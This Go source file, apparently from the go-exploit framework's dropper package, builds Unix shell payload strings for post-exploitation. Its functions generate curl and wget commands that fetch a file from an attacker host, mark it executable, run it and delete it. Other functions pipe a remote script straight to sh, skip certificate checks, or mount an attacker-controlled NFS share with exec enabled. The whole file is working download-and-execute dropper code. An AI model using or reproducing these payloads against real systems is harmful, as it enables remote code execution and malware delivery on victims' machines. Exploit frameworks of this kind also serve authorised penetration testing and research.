package dropper

import (
	"fmt"

	"github.com/vulncheck-oss/go-exploit/random"
)

// Download a remote file with curl, but do not execute/delete it.
// You also need to provide your own full file path, .exe will not be appended like the others.
// Lastly the full output file path needs to be specified in the output parameter.
func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {
	if ssl {
		return fmt.Sprintf("curl -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile)
	}

	return fmt.Sprintf("curl -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
}

// Download a remote file with curl, execute it, and delete it.
func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	output := "/tmp/" + random.RandLetters(3)

	if ssl {
		return fmt.Sprintf("curl -kso %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
			output, lhost, lport, downloadFile, output, output, output)
	}

	return fmt.Sprintf("curl -so %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s",
		output, lhost, lport, downloadFile, output, output, output)
}

// Download a remote file with curl or wget, execute it, and delete it.
func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	output := "/tmp/" + random.RandLetters(3)
	uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)

	if ssl {
		return fmt.Sprintf("(curl -kso %s https://%s || wget --no-check-certificate -O %s https://%s) && chmod +x %s && %s & rm -f %s",
			output, uri, output, uri, output, output, output)
	}

	return fmt.Sprintf("(curl -kso %s http://%s || wget -O %s http://%s) && chmod +x %s && %s & rm -f %s",
		output, uri, output, uri, output, output, output)
}

// Download a remote file with curl, execute it, and delete it.
func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string {
	output := "/tmp/" + random.RandLetters(3)

	if ssl {
		return fmt.Sprintf("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
			output, lhost, lport, downloadFile, output, output, output)
	}

	return fmt.Sprintf("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s",
		output, lhost, lport, downloadFile, output, output, output)
}

// Download a remote bash script with wget and pipe it to bash.
func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)

	if ssl {
		return fmt.Sprintf("wget --no-check-certificate -qO- https://%s | sh", uri)
	}

	return fmt.Sprintf("wget -qO- http://%s | sh", uri)
}

// Mount a remote NFS directory using NFS v3. This will mount the attacker controlled share at
// <lhost>:<lshareDir> and make it available to the attacker at <rshareDir>. Usage example:
//
//	Mountv3Only("10.9.49.2","/tmp/nfsshare", "./b")
//
// This function does not attempt to actually execute any files on the share
func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rshareDir string) string {
	return fmt.Sprintf("mount -o vers=3,nolock,exec,tcp -t nfs %s:%s %s", lhost, lshareDir, rshareDir)
}
